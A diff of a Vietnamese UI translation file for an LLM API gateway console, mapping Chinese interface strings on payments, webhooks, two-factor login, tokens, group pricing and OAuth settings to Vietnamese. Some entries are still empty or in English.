+    "Waffo 公钥 (沙盒)": "",
+    "Waffo 公钥 (生产)": "",
+    "Waffo 商户 ID": "",
+    "Waffo 是一个支付聚合平台，支持多种支付方式。": "",
+    "Waffo 设置": "",
+    "Web 搜索：{{count}} / 1K * 单价 {{price}} * {{ratioType}} {{ratio}} = {{amount}}": "Tìm kiếm Web: {{count}} / 1K * đơn giá {{price}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "Web 搜索调用 {{webSearchCallCount}} 次": "Đã gọi tìm kiếm Web {{webSearchCallCount}} lần",
+    "Webhook 密钥": "Khóa Webhook",
+    "Webhook 签名密钥": "Khóa chữ ký Webhook",
+    "Webhook地址": "URL Webhook",
+    "Webhook地址必须以https://开头": "URL Webhook phải bắt đầu bằng https://",
+    "Webhook请求结构说明": "Mô tả cấu trúc yêu cầu Webhook",
+    "Webhook通知": "Thông báo Webhook",
+    "Web搜索价格：{{symbol}}{{price}} / 1K 次": "Giá tìm kiếm Web: {{symbol}}{{price}} / 1K yêu cầu",
+    "WeChat Server 服务器地址": "Địa chỉ máy chủ WeChat Server",
+    "WeChat Server 访问凭证": "Thông tin xác thực truy cập WeChat Server",
+    "Well-Known URL": "Well-Known URL",
+    "Well-Known URL 必须以 http:// 或 https:// 开头": "Well-Known URL phải bắt đầu bằng http:// hoặc https://",
+    "whsec_xxx 的 Webhook 签名密钥，敏感信息不显示": "Khóa chữ ký Webhook cho whsec_xxx, thông tin nhạy cảm không được hiển thị",
+    "Worker地址": "Địa chỉ Worker",
+    "Worker密钥": "Khóa Worker",
+    "一个月": "Một tháng",
+    "一天": "Một ngày",
+    "一小时": "Một giờ",
+    "一次调用消耗多少刀，优先级大于模型倍率": "Một cuộc gọi tốn bao nhiêu USD, ưu tiên hơn tỷ lệ mô hình",
+    "一行一个，不区分大小写": "Mỗi dòng một cái, không phân biệt chữ hoa chữ thường",
+    "一行一个屏蔽词，不需要符号分割": "Mỗi dòng một từ bị chặn, không cần ký hiệu phân cách",
+    "一键填充到 FluentRead": "Điền vào FluentRead bằng một cú nhấp chuột",
+    "三种操作的区别：": "Differences between the three operations:",
+    "上一个表单块": "Khối biểu mẫu trước",
+    "上一步": "Trước",
+    "上传 PNG/JPG/SVG 图片，建议尺寸 ≤ 128×128px": "",
+    "上传图片": "",
+    "上次保存: ": "Lần lưu cuối: ",
+    "上次检测到可加入模型": "",
+    "上次检测时间": "",
+    "上游倍率同步": "Đồng bộ hóa tỷ lệ thượng nguồn",
+    "上游模型管理": "Quản lý mô hình thượng nguồn",
+    "上游返回": "Upstream response",
+    "下一个表单块": "Khối biểu mẫu tiếp theo",
+    "下一次重置": "Đặt lại tiếp theo",
+    "下一步": "Tiếp theo",
+    "下午好": "Chào buổi chiều",
+    "下载日志": "Download Logs",
+    "下面展示这个模型保存后会写入哪些后端字段，便于和原始 JSON 编辑框保持一致。": "Bên dưới hiển thị các trường backend sẽ được ghi sau khi lưu, giúp bạn dễ đối chiếu với ô chỉnh sửa JSON gốc.",
+    "下面是带注释的示例，仅用于参考；实际保存时请删除注释。": "",
+    "不会出现": "will not appear",
+    "不再提醒": "Không nhắc lại",
+    "不勾选用户可选": "Not user-selectable",
+    "不升级": "Không nâng cấp",
+    "不变": "unchanged",
+    "不同用户分组的价格信息": "Thông tin giá cho các nhóm người dùng khác nhau",
+    "不填则为模型列表第一个": "Mô hình đầu tiên trong danh sách nếu để trống",
+    "不建议使用": "Không khuyến khích sử dụng",
+    "不支持": "Không hỗ trợ",
+    "不是合法的 JSON 字符串": "Không phải là chuỗi JSON hợp lệ",
+    "不更改": "Không thay đổi",
+    "不配置特殊倍率时：": "Without special ratios:",
+    "不配置规则时，所有用户看到的下拉框一样：": "Without rules, all users see the same dropdown:",
+    "不重置": "Không đặt lại",
+    "不重试": "Không thử lại",
+    "不限": "Không giới hạn",
+    "不限制": "Không giới hạn",
+    "与本地相同": "Giống như cục bộ",
+    "专属倍率": "Tỷ lệ nhóm độc quyền",
+    "专属分组": "Exclusive group",
+    "两个分组都勾选了「用户可选」，所以用户创建令牌时可以看到这两个选项：": "Both groups have \"User Selectable\" checked, so users can see these two options when creating tokens:",
+    "两次输入的密码不一致": "Hai mật khẩu đã nhập không khớp",
+    "两次输入的密码不一致！": "Mật khẩu nhập hai lần không nhất quán!",
+    "两步验证": "Xác thực hai yếu tố",
+    "两步验证（2FA）为您的账户提供额外的安全保护。启用后，登录时需要输入密码和验证器应用生成的验证码。": "Xác thực hai yếu tố (2FA) cung cấp bảo vệ bảo mật bổ sung cho tài khoản của bạn. Sau khi bật, bạn cần nhập mật khẩu và mã xác minh được tạo bởi ứng dụng xác thực khi đăng nhập.",
+    "两步验证启用成功！": "Đã bật xác thực hai yếu tố thành công!",
+    "两步验证已禁用": "Xác thực hai yếu tố đã bị vô hiệu hóa",
+    "两步验证设置": "Cài đặt xác thực hai yếu tố",
+    "个": "cái",
+    "个GPU": " GPUs",
+    "个人中心": "Trung tâm cá nhân",
+    "个人中心区域": "Khu vực trung tâm cá nhân",
+    "个人信息设置": "Cài đặt thông tin cá nhân",
+    "个人设置": "Cài đặt cá nhân",
+    "个字段": " trường",
+    "个实例": " instances",
+    "个已过期": "gói đăng ký đã hết hạn",
+    "个性化设置": "Cài đặt cá nhân hóa",
+    "个性化设置左侧边栏的显示内容": "Cá nhân hóa nội dung hiển thị của thanh bên trái",
+    "个月": " tháng",
+    "个未配置模型": "mô hình chưa được cấu hình",
+    "个模型": "mô hình",
+    "个生效中": "gói đăng ký đang hiệu lực",
+    "个部署吗？此操作不可逆。": " deployments? This operation cannot be undone.",
+    "中午好": "Chào buổi trưa",
+    "为 vip 用户配置规则：": "Configure rules for vip users:",
+    "为一个 JSON 对象，例如：{\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}": "Là một đối tượng JSON, ví dụ: {\"100\": 0.95, \"200\": 0.9, \"500\": 0.85}",
+    "为一个 JSON 数组，例如：[10, 20, 50, 100, 200, 500]": "Là một mảng JSON, ví dụ: [10, 20, 50, 100, 200, 500]",
+    "为一个 JSON 文本": "Là một văn bản JSON",
+    "为一个 JSON 文本，例如：": "Là một văn bản JSON, ví dụ:",
+    "为一个 JSON 文本，键为分组名称，值为倍率": "Là một văn bản JSON với tên nhóm làm khóa và tỷ lệ làm giá trị",
+    "为一个 JSON 文本，键为分组名称，值为分组描述": "Là một văn bản JSON với tên nhóm làm khóa và mô tả nhóm làm giá trị",
+    "为一个 JSON 文本，键为模型名称，值为一次调用消耗多少刀，比如 \"gpt-4-gizmo-*\": 0.1，一次消耗0.1刀": "Là một văn bản JSON với tên mô hình làm khóa và chi phí mỗi lần gọi làm giá trị, ví dụ: \"gpt-4-gizmo-*\": 0.1, tốn $0.1 mỗi lần gọi",
+    "为一个 JSON 文本，键为模型名称，值为倍率": "Là một văn bản JSON với tên mô hình làm khóa và tỷ lệ làm giá trị",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-4o-audio-preview\": 16}": "Một văn bản JSON với tên mô hình làm khóa và tỷ lệ làm giá trị, ví dụ: {\"gpt-4o-audio-preview\": 16}",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-4o-realtime\": 2}": "Một văn bản JSON với tên mô hình làm khóa và tỷ lệ làm giá trị, ví dụ: {\"gpt-4o-realtime\": 2}",
+    "为一个 JSON 文本，键为模型名称，值为倍率，例如：{\"gpt-image-1\": 2}": "Một văn bản JSON với tên mô hình làm khóa và tỷ lệ làm giá trị, ví dụ: {\"gpt-image-1\": 2}",
+    "为一个 JSON 文本，键为组名称，值为倍率": "Là một văn bản JSON với tên nhóm làm khóa và tỷ lệ làm giá trị",
+    "为了保护账户安全，请验证您的两步验证码。": "Để bảo vệ an toàn tài khoản, vui lòng xác minh mã xác thực hai yếu tố của bạn.",
+    "为了保护账户安全，请验证您的身份。": "Để bảo vệ an toàn tài khoản, vui lòng xác minh danh tính của bạn.",
+    "为什么 default 不勾选「用户可选」？": "Why is default not set as \"User Selectable\"?",
+    "为保证匹配准确，请确保客户端直连本站点（避免反向代理/网关改写 User-Agent）。": "Để đảm bảo khớp chính xác, hãy đảm bảo client kết nối trực tiếp đến trang web này (tránh reverse proxy/gateway ghi đè User-Agent).",
+    "为特定用户分组配置可用分组的增减规则。「添加」为该分组新增可用分组，「移除」移除默认可用分组，「追加」直接追加分组": "Configure add/remove rules for specific user groups. \"Add\" adds a new selectable group, \"Remove\" removes a default selectable group, \"Append\" directly appends a group",
+    "为空则默认使用服务器地址，多个 Origin 用逗号分隔，例如 https://newapi.pro,https://newapi.com ,注意不能携带[]，需使用https": "Nếu để trống, mặc định sử dụng địa chỉ máy chủ. Nhiều Origin được phân tách bằng dấu phẩy, ví dụ: https://newapi.pro,https://newapi.com. Lưu ý: không được chứa [], phải sử dụng https",
+    "主模型": "Model chính",
+    "主页链接填": "Nhập liên kết trang chủ",
+    "之前的所有日志": "Tất cả nhật ký trước đó",
+    "二步验证已重置": "Xác thực hai bước đã được đặt lại",
+    "产品ID": "ID sản phẩm",
+    "产品ID已存在": "ID sản phẩm đã tồn tại",
+    "产品名称": "Tên sản phẩm",
+    "产品配置": "Cấu hình sản phẩm",
+    "产品配置错误，请联系管理员": "Product configuration error, please contact the administrator",
+    "享受 8 折": "20% off",
+    "什么是分组？": "What are groups?",
+    "仅为使用OpenAI格式的Gemini/Vertex渠道填充thoughtSignature": "Chỉ điền thoughtSignature cho các kênh Gemini/Vertex sử dụng định dạng OpenAI",
+    "仅会覆盖你勾选的字段，未勾选的字段保持本地不变。": "Chỉ các trường được chọn mới bị ghi đè, các trường không được chọn vẫn giữ nguyên cục bộ.",
+    "仅供参考，以实际扣费为准": "Chỉ mang tính tham khảo, việc khấu trừ thực tế sẽ được ưu tiên",
+    "仅保存": "Chỉ lưu",
+    "仅修改展示粒度，统计精确到小时": "Chỉ sửa đổi độ chi tiết hiển thị, thống kê chính xác đến giờ",
+    "仅密钥": "Chỉ khóa",
+    "仅对自定义模型有效": "Chỉ hiệu quả đối với các mô hình tùy chỉnh",
+    "仅当前层": "Chỉ cấp hiện tại",
+    "仅当自动禁用开启时有效，关闭后不会自动禁用该渠道": "Chỉ hiệu quả khi bật tự động vô hiệu hóa, sau khi đóng, kênh sẽ không bị tự động vô hiệu hóa",
+    "仅提交已勾选": "",
+    "仅支持": "Chỉ hỗ trợ",
+    "仅支持 JSON 对象，必须包含 access_token 与 account_id": "Chỉ hỗ trợ đối tượng JSON, phải bao gồm access_token và account_id",
+    "仅支持 JSON 文件": "Chỉ hỗ trợ tệp JSON",
+    "仅支持 JSON 文件，支持多文件": "Chỉ hỗ trợ tệp JSON, hỗ trợ nhiều tệp",
+    "仅支持 OpenAI 接口格式": "Chỉ hỗ trợ định dạng giao diện OpenAI",
+    "仅显示已绑定": "Chỉ hiển thị đã liên kết",
+    "仅显示矛盾倍率": "Chỉ hiển thị tỷ lệ mâu thuẫn",
+    "仅检测上游模型更新": "",
+    "仅用于开发环境，生产环境应使用 HTTPS": "Chỉ dành cho phát triển, sử dụng HTTPS trong sản xuất",
+    "仅用于换算，实际保存的是额度": "Chỉ dùng để quy đổi, giá trị lưu thực tế là hạn ngạch",
+    "仅用订阅": "Chỉ dùng đăng ký",
+    "仅用钱包": "Chỉ dùng ví",
+    "仅管理员可用。开启后，当系统定时检测全部渠道发现上游模型变更或检测异常时，将按你选择的通知方式发送汇总通知；渠道或模型过多时会自动省略部分明细。": "",
+    "仅重置配置": "Chỉ đặt lại cấu hình",
+    "今日关闭": "Đóng hôm nay",
+    "今日已签到": "Đã đăng nhập hôm nay",
+    "今日已签到，累计签到": "Đã đăng nhập hôm nay, tổng số lần đăng nhập",
+    "仍有未处理项": "",
+    "从 0.5 降到 0.3": "reduced from 0.5 to 0.3",
+    "从剪贴板粘贴配置": "Dán cấu hình",
+    "从官方模型库同步": "Đồng bộ từ thư viện mô hình chính thức",
+    "从认证器应用中获取验证码，或使用备用码": "Lấy mã xác minh từ ứng dụng xác thực, hoặc sử dụng mã dự phòng",
+    "从配置文件同步": "Đồng bộ từ tệp cấu hình",
+    "从默认列表中去掉一个分组": "Remove a group from the default list",
+    "代理地址": "Địa chỉ proxy",
+    "代理设置": "Cài đặt proxy",
+    "代码已复制到剪贴板": "Mã đã được sao chép vào khay nhớ tạm",
+    "令牌": "Mã thông báo",
+    "令牌不存在": "",
+    "令牌分组": "Nhóm mã thông báo",
+    "令牌分组，默认为用户的分组": "Nhóm mã thông báo, mặc định là nhóm của bạn",
+    "令牌分组设为 auto 时，按以下顺序依次尝试选择可用分组，排在前面的优先级更高": "When token group is set to auto, groups are selected in order of priority, with higher priority groups listed first",
+    "令牌分组设为 auto 时，系统按优先级顺序自动选择一个可用分组。": "When token group is set to auto, the system automatically selects an available group by priority.",
+    "令牌创建成功，请在列表页面点击复制获取令牌！": "Tạo mã thông báo thành công, vui lòng nhấp vào sao chép trên trang danh sách để lấy mã thông báo!",
+    "令牌名称": "Tên mã thông báo",
+    "令牌已重置并已复制到剪贴板": "Mã thông báo đã được đặt lại và sao chép vào khay nhớ tạm",
+    "令牌更新成功！": "Cập nhật mã thông báo thành công!",
+    "令牌的额度仅用于限制令牌本身的最大额度使用量，实际的使用受到账户的剩余额度限制": "Hạn ngạch của mã thông báo chỉ được sử dụng để giới hạn mức sử dụng hạn ngạch tối đa của chính mã thông báo, và việc sử dụng thực tế bị giới hạn bởi hạn ngạch còn lại của tài khoản",
+    "令牌管理": "Quản lý mã thông báo",
+    "以下上游数据可能不可信：": "Dữ liệu thượng nguồn sau đây có thể không đáng tin cậy: ",
+    "以下文件解析失败，已忽略：{{list}}": "Các tệp sau không phân tích được và đã bị bỏ qua: {{list}}",
+    "以及": "và",
+    "仪表盘设置": "Bảng điều khiển",
+    "价格": "Giá cả",
+    "价格：{{symbol}}{{price}} * {{ratioType}}：{{ratio}}": "Price: {{symbol}}{{price}} * {{ratioType}}: {{ratio}}",
+    "价格：${{price}} * {{ratioType}}：{{ratio}}": "Giá: ${{price}} * {{ratioType}}: {{ratio}}",
+    "价格摘要": "Tóm tắt giá",
+    "价格暂时不可用，请稍后重试": "Price temporarily unavailable, please try again later",
+    "价格模式": "",
+    "价格模式（默认）": "Chế độ giá (mặc định)",
+    "价格计算中...": "Calculating price...",
+    "价格计算失败": "Price calculation failed",
+    "价格计算失败: ": "Price calculation failed: ",
+    "价格设置": "Cài đặt giá",
+    "价格设置方式": "Phương thức cấu hình giá",
+    "价格重新计算中...": "Recalculating price...",
+    "价格预估": "Price Estimate",
+    "任一满足（OR）": "Bất kỳ khớp (OR)",
+    "任务 ID": "ID tác vụ",
+    "任务ID": "ID tác vụ",
+    "任务日志": "Nhật ký tác vụ",
+    "任务状态": "Trạng thái",
+    "任务记录": "Hồ sơ tác vụ",
+    "企业账户为特殊返回格式，需要特殊处理，如果非企业账户，请勿勾选": "Tài khoản doanh nghiệp có định dạng trả về đặc biệt và yêu cầu xử lý đặc biệt. Nếu không phải tài khoản doanh nghiệp, vui lòng không chọn tùy chọn này",
+    "优先级": "Ưu tiên",
+    "优先订阅": "Ưu tiên đăng ký",
+    "优先钱包": "Ưu tiên ví",
+    "优惠": "Giảm giá",
+    "低于此额度时将发送邮件提醒用户": "Email nhắc nhở sẽ được gửi khi hạn ngạch giảm xuống dưới mức này",
+    "余额": "Số dư",
+    "余额充值管理": "Quản lý nạp tiền số dư",
+    "作废": "Vô hiệu",
+    "作废于": "Vô hiệu vào",
+    "作废后该订阅将立即失效，历史记录不受影响。是否继续？": "Sau khi vô hiệu, đăng ký sẽ mất hiệu lực ngay. Lịch sử không bị ảnh hưởng. Tiếp tục?",
+    "作用域": "Phạm vi",
+    "作用域：包含分组": "Phạm vi: Bao gồm nhóm",
+    "作用域：包含模型名称": "Phạm vi: Bao gồm tên mô hình",
+    "作用域：包含规则名称": "Phạm vi: Bao gồm tên quy tắc",
+    "你似乎并没有修改什么": "Bạn dường như không sửa đổi gì cả",
+    "你可以在“自定义模型名称”处手动添加它们，然后点击填入后再提交，或者直接使用下方操作自动处理。": "You can manually add them under “Custom model names”, click Fill and submit, or use the actions below to handle them automatically.",
+    "你还没有处理{{type}}模型（{{count}}个）。是否仅提交当前已勾选内容？_other": "",
+    "使用 {{name}} 继续": "Tiếp tục với {{name}}",
+    "使用 Discord 继续": "Continue with Discord",
+    "使用 GitHub 继续": "Tiếp tục với GitHub",
+    "使用 JSON 对象格式，格式为：{\"组名\": [最多请求次数, 最多请求完成次数]}": "Sử dụng định dạng đối tượng JSON, định dạng: {\"group_name\": [max_requests, max_completions]}",
+    "使用 LinuxDO 继续": "Tiếp tục với LinuxDO",
+    "使用 OIDC 继续": "Tiếp tục với OIDC",
+    "使用 Passkey 实现免密且更安全的登录体验": "Sử dụng Passkey để trải nghiệm đăng nhập không cần mật khẩu và an toàn hơn",
+    "使用 Passkey 登录": "Đăng nhập bằng Passkey",
+    "使用 Passkey 验证": "Xác minh bằng Passkey",
+    "使用 微信 继续": "Tiếp tục với WeChat",
+    "使用 用户名 注册": "Đăng ký bằng Tên người dùng",
+    "使用 邮箱或用户名 登录": "Đăng nhập bằng Email hoặc Tên người dùng",
+    "使用ID排序": "Sắp xếp theo ID",
+    "使用分组": "Using Group",
+    "使用原生额度输入": "Nhập hạn mức gốc",
+    "使用日志": "Nhật ký sử dụng",
+    "使用模式": "Chế độ sử dụng",
+    "使用统计": "Thống kê sử dụng",
+    "使用认证器应用（如 Google Authenticator、Microsoft Authenticator）扫描下方二维码：": "Sử dụng ứng dụng xác thực (như Google Authenticator, Microsoft Authenticator) để quét mã QR bên dưới:",
+    "使用认证器应用扫描二维码": "Quét mã QR bằng ứng dụng xác thực",
+    "使用说明": "Guide",
+    "例如 /var/cache/new-api": "VD: /var/cache/new-api",
+    "例如 €, £, Rp, ₩, ₹...": "Ví dụ, €, £, Rp, ₩, ₹...",
+    "例如 https://docs.newapi.pro": "Ví dụ, https://docs.newapi.pro",
+    "例如 https://example.com/api/waffo/webhook": "",
+    "例如 https://example.com/console/topup": "",
+    "例如：": "Ví dụ:",
+    "例如: /bin/bash -c \"python app.py\"": "e.g.: /bin/bash -c \"python app.py\"",
+    "例如: nginx:latest": "e.g.: nginx:latest",
+    "例如: socks5://user:pass@host:port": "ví dụ: socks5://user:pass@host:port",
+    "例如：-c": "e.g.: -c",
+    "例如：/bin/bash": "e.g.: /bin/bash",
+    "例如：0001": "ví dụ: 0001",
+    "例如：1000": "ví dụ: 1000",
+    "例如：100000": "Ví dụ: 100000",
+    "例如：2，就是最低充值2$": "ví dụ: 2, nghĩa là nạp tối thiểu $2",
+    "例如：2000": "ví dụ: 2000",
+    "例如：4.99": "Ví dụ: 4.99",
+    "例如：401, 403, 429, 500-599": "VD: 401, 403, 429, 500-599",
+    "例如：7，就是7元/美金": "ví dụ: 7, nghĩa là 7 tệ mỗi USD",
+    "例如：Credit Card": "",
+    "例如：email": "VD: email",
+    "例如：example.com": "ví dụ: example.com",
+    "例如：github / si:google / https://example.com/logo.png / 🐱": "VD: github / si:google / https://example.com/logo.png / 🐱",
+    "例如：GitHub Enterprise": "VD: GitHub Enterprise",
+    "例如：github-enterprise": "VD: github-enterprise",
+    "例如：gpt-4.1-nano,regex:^claude-.*$,regex:^sora-.*$": "",
+    "例如：https://example.com/.well-known/openid-configuration": "VD: https://example.com/.well-known/openid-configuration",
+    "例如：https://gitea.example.com": "VD: https://gitea.example.com",
+    "例如：https://yourdomain.com": "ví dụ: https://yourdomain.com",
+    "例如：name、full_name": "VD: name, full_name",
+    "例如：nginx:latest": "e.g.: nginx:latest",
+    "例如：preferred_username、login": "VD: preferred_username, login",
+    "例如：preview": "ví dụ: preview",
+    "例如：prod_6I8rBerHpPxyoiU9WK4kot": "Ví dụ: prod_6I8rBerHpPxyoiU9WK4kot",
+    "例如：sub、id、data.user.id": "VD: sub, id, data.user.id",
+    "例如：基础套餐": "Ví dụ: Gói cơ bản",
+    "例如：清理工具参数，避免上游校验错误": "",
+    "例如：该请求不满足准入策略": "VD: Yêu cầu này không đáp ứng chính sách tiếp nhận",
+    "例如：适合轻度使用": "Ví dụ: Phù hợp dùng nhẹ",
+    "例如：需要等级 {{required}}，你当前等级 {{current}}": "VD: Yêu cầu cấp {{required}}, cấp hiện tại của bạn là {{current}}",
+    "例如（全渠道）：": "Ví dụ (tất cả kênh):",
+    "例如（指定渠道）：": "Ví dụ (kênh chỉ định):",
+    "例如发卡网站的购买链接": "Ví dụ, liên kết mua hàng từ trang web phát hành thẻ",
+    "供应商": "Nhà cung cấp",
+    "供应商介绍": "Giới thiệu nhà cung cấp",
+    "供应商信息：": "Thông tin nhà cung cấp:",
+    "供应商创建成功！": "Đã tạo nhà cung cấp thành công!",
+    "供应商删除成功": "Đã xóa nhà cung cấp thành công",
+    "供应商名称": "Tên nhà cung cấp",
+    "供应商图标": "Biểu tượng nhà cung cấp",
+    "供应商更新成功！": "Cập nhật nhà cung cấp thành công!",
+    "侧边栏管理（全局控制）": "Quản lý thanh bên (Kiểm soát toàn cầu)",
+    "侧边栏设置保存成功": "Đã lưu cài đặt thanh bên thành công",
+    "保前缀": "",
+    "保后缀": "",
+    "保存": "Lưu",
+    "保存 Discord OAuth 设置": "Save Discord OAuth Settings",
+    "保存 GitHub OAuth 设置": "Lưu cài đặt GitHub OAuth",
+    "保存 Linux DO OAuth 设置": "Lưu cài đặt Linux DO OAuth",
+    "保存 OIDC 设置": "Lưu cài đặt OIDC",
+    "保存 Passkey 设置": "Lưu cài đặt Passkey",
+    "保存 SMTP 设置": "Lưu cài đặt SMTP",
+    "保存 Telegram 登录设置": "Lưu cài đặt đăng nhập Telegram",
+    "保存 Turnstile 设置": "Lưu cài đặt Turnstile",
+    "保存 WeChat Server 设置": "Lưu cài đặt WeChat Server",
+    "保存分组倍率设置": "Lưu cài đặt tỷ lệ nhóm",
+    "保存分组相关设置": "Lưu cài đặt liên quan đến nhóm",
+    "保存备用码": "Lưu mã dự phòng",
+    "保存备用码以备不时之需": "Lưu mã dự phòng cho trường hợp khẩn cấp",
+    "保存失败": "Lưu thất bại",
+    "保存失败，请重试": "Lưu thất bại, vui lòng thử lại",
+    "保存失败:": "Lưu thất bại:",
+    "保存屏蔽词过滤设置": "Lưu cài đặt lọc từ bị chặn",
+    "保存性能设置": "Lưu cài đặt hiệu suất",
+    "保存成功": "Lưu thành công",
+    "保存数据看板设置": "Lưu cài đặt bảng dữ liệu",
+    "保存日志设置": "Lưu cài đặt nhật ký",
+    "保存模型倍率设置": "Lưu cài đặt tỷ lệ mô hình",
+    "保存模型速率限制": "Lưu cài đặt giới hạn tốc độ mô hình",
+    "保存监控设置": "Lưu cài đặt giám sát",
+    "保存签到设置": "Lưu cài đặt đăng nhập",
+    "保存绘图设置": "Lưu cài đặt vẽ",
+    "保存聊天设置": "Lưu cài đặt trò chuyện",
+    "保存设置": "Lưu cài đặt",
+    "保存通用设置": "Lưu cài đặt chung",
+    "保存邮箱域名白名单设置": "Lưu cài đặt danh sách trắng tên miền email",
+    "保存预览": "Xem trước khi lưu",
+    "保存额度设置": "Lưu cài đặt hạn ngạch",
+    "保留": "kept",
+    "保留最近N个文件": "Giữ lại N tệp gần nhất",
+    "保留最近N天": "Giữ lại N ngày gần nhất",
+    "保留原值（目标已有值时不覆盖）": "Giữ giá trị gốc (không ghi đè nếu mục tiêu đã có giá trị)",
+    "保留天数": "Số ngày giữ lại",
+    "保留文件数": "Số tệp giữ lại",
+    "修复数据库一致性": "Sửa chữa tính nhất quán của cơ sở dữ liệu",
+    "修改为": "Sửa đổi thành",
+    "修改子渠道优先级": "Sửa đổi ưu tiên kênh phụ",
+    "修改子渠道权重": "Sửa đổi trọng số kênh phụ",
+    "修改密码": "Đổi mật khẩu",
+    "修改绑定": "Sửa đổi liên kết",
+    "修改部署名称": "Change Deployment Name",
+    "倍率": "Tỷ lệ",
+    "倍率信息": "Thông tin tỷ lệ",
+    "倍率是为了方便换算不同价格的模型": "Độ phóng đại là để tạo điều kiện chuyển đổi các mô hình có giá khác nhau.",
+    "倍率模式": "Chế độ tỷ lệ",
+    "倍率模式（默认）": "",
+    "倍率用于计费乘数，勾选「用户可选」后用户可在创建令牌时选择该分组": "Ratio is the billing multiplier. Check \"User Selectable\" to let users pick this group when creating tokens",
+    "倍率类型": "Loại tỷ lệ",
+    "假设再加两个分组 default 和 vip，但不勾选用户可选：": "Now add two more groups default and vip, but without checking User Selectable:",
+    "偏好设置": "Tùy chọn",
+    "停止测试": "Dừng kiểm tra",
+    "停止重试": "Dừng thử lại",
+    "停用": "Vô hiệu hóa",
+    "允许 AccountFilter 参数": "Cho phép tham số AccountFilter",
+    "允许 HTTP 协议图片请求（适用于自部署代理）": "Cho phép yêu cầu hình ảnh giao thức HTTP (đối với proxy tự triển khai)",
+    "允许 inference_geo 透传": "Cho phép truyền inference_geo",
+    "允许 safety_identifier 透传": "Cho phép safety_identifier truyền qua",
+    "允许 service_tier 透传": "Cho phép service_tier truyền qua",
+    "允许 speed 透传": "Cho phép truyền speed",
+    "允许 stream_options.include_obfuscation 透传": "Cho phép truyền stream_options.include_obfuscation",
+    "允许 Turnstile 用户校验": "Cho phép xác minh người dùng Turnstile",
+    "允许不安全的 Origin（HTTP）": "Cho phép Origin không an toàn (HTTP)",
+    "允许回调（会泄露服务器 IP 地址）": "Cho phép gọi lại (sẽ làm lộ địa chỉ IP máy chủ)",
+    "允许在 Stripe 支付中输入促销码": "Cho phép nhập mã khuyến mãi khi thanh toán Stripe",
+    "允许新用户注册": "Cho phép đăng ký người dùng mới",
+    "允许的 Origins": "Origins được phép",
+    "允许的IP，一行一个，不填写则不限制": "IP được phép, mỗi dòng một IP, không điền nghĩa là không giới hạn",
+    "允许的端口": "Cổng được phép",
+    "允许访问私有IP地址（127.0.0.1、192.168.x.x等内网地址）": "Cho phép truy cập địa chỉ IP riêng (127.0.0.1, 192.168.x.x và các địa chỉ nội bộ khác)",
+    "允许通过 Discord 账户登录 & 注册": "Allow login & registration via Discord account",
+    "允许通过 GitHub 账户登录 & 注册": "Cho phép đăng nhập & đăng ký qua tài khoản GitHub",
+    "允许通过 Linux DO 账户登录 & 注册": "Cho phép đăng nhập & đăng ký qua tài khoản Linux DO",
+    "允许通过 OIDC 进行登录": "Cho phép đăng nhập qua OIDC",
+    "允许通过 Passkey 登录 & 认证": "Cho phép đăng nhập & xác thực qua Passkey",
+    "允许通过 Telegram 进行登录": "Cho phép đăng nhập qua Telegram",
+    "允许通过密码进行注册": "Cho phép đăng ký qua mật khẩu",
+    "允许通过密码进行登录": "Cho phép đăng nhập qua mật khẩu",
+    "允许通过微信登录 & 注册": "Cho phép đăng nhập & đăng ký qua WeChat",
+    "允许重试": "Cho phép thử lại",
+    "元": "CNY",
+    "充值": "Nạp tiền",
+    "充值价格（x元/美金）": "Giá nạp (x tệ/đô la)",
+    "充值价格显示": "Giá nạp",
+    "充值分组倍率": "Tỷ lệ nhóm nạp tiền",
+    "充值分组倍率不是合法的 JSON 字符串": "Tỷ lệ nhóm nạp tiền không phải là chuỗi JSON hợp lệ",
+    "充值数量": "Số lượng nạp",
+    "充值数量，最低 ": "Số lượng nạp, tối thiểu",
+    "充值数量不能小于": "Số tiền nạp không được nhỏ hơn",
+    "充值方式设置": "Cài đặt phương thức nạp tiền",
+    "充值方式设置不是合法的 JSON 字符串": "Cài đặt phương thức nạp tiền không phải là chuỗi JSON hợp lệ",
+    "充值确认": "Xác nhận nạp tiền",
+    "充值账单": "Hóa đơn nạp tiền",
+    "充值金额折扣配置": "Cấu hình giảm giá số tiền nạp",
+    "充值金额折扣配置不是合法的 JSON 对象": "Cấu hình giảm giá số tiền nạp không phải là đối tượng JSON hợp lệ",
+    "充值链接": "Liên kết nạp tiền",
+    "充值额度": "Hạn ngạch nạp tiền",
+    "先填写配置，再自动填充 OAuth 端点，能显著减少手工输入": "Điền cấu hình trước, sau đó tự động điền endpoint OAuth để giảm đáng kể nhập liệu thủ công",
+    "先搜索，再一键复制字段名或填入当前规则。字段名为系统内部路径，可直接用于路径 / 来源 / 目标。": "Tìm kiếm trước, sau đó sao chép tên trường hoặc điền vào quy tắc hiện tại bằng một cú nhấp. Tên trường là đường dẫn nội bộ hệ thống, có thể sử dụng trực tiếp cho đường dẫn / nguồn / đích.",
+    "免责声明：仅限个人使用，请勿分发或共享任何凭证。该渠道存在前置条件与使用门槛，请在充分了解流程与风险后使用，并遵守 OpenAI 的相关条款与政策。相关凭证与配置仅限接入 Codex CLI 使用，不适用于其他客户端、平台或渠道。": "Tuyên bố miễn trừ: Chỉ dùng cho mục đích cá nhân. Không phân phối hoặc chia sẻ bất kỳ thông tin xác thực nào. Kênh này có điều kiện tiên quyết và yêu cầu thiết lập trước; chỉ sử dụng khi bạn hiểu rõ quy trình và rủi ro, và tuân thủ điều khoản và chính sách của OpenAI. Thông tin xác thực và cấu hình chỉ dành cho tích hợp Codex CLI, không áp dụng cho các client, nền tảng hoặc kênh khác.",
+    "兑换人ID": "ID người đổi",
+    "兑换成功！": "Đổi thành công!",
+    "兑换码充值": "Nạp tiền bằng mã đổi thưởng",
+    "兑换码创建成功": "Đã tạo mã đổi thưởng",
+    "兑换码创建成功，是否下载兑换码？": "Tạo mã đổi thưởng thành công. Bạn có muốn tải xuống không?",
+    "兑换码创建成功！": "Tạo mã đổi thưởng thành công!",
+    "兑换码将以文本文件的形式下载，文件名为兑换码的名称。": "Mã đổi thưởng sẽ được tải xuống dưới dạng tệp văn bản, với tên tệp là tên mã đổi thưởng.",
+    "兑换码更新成功！": "Cập nhật mã đổi thưởng thành công!",
+    "兑换码生成管理": "Quản lý tạo mã đổi thưởng",
+    "兑换码管理": "Quản lý mã đổi thưởng",
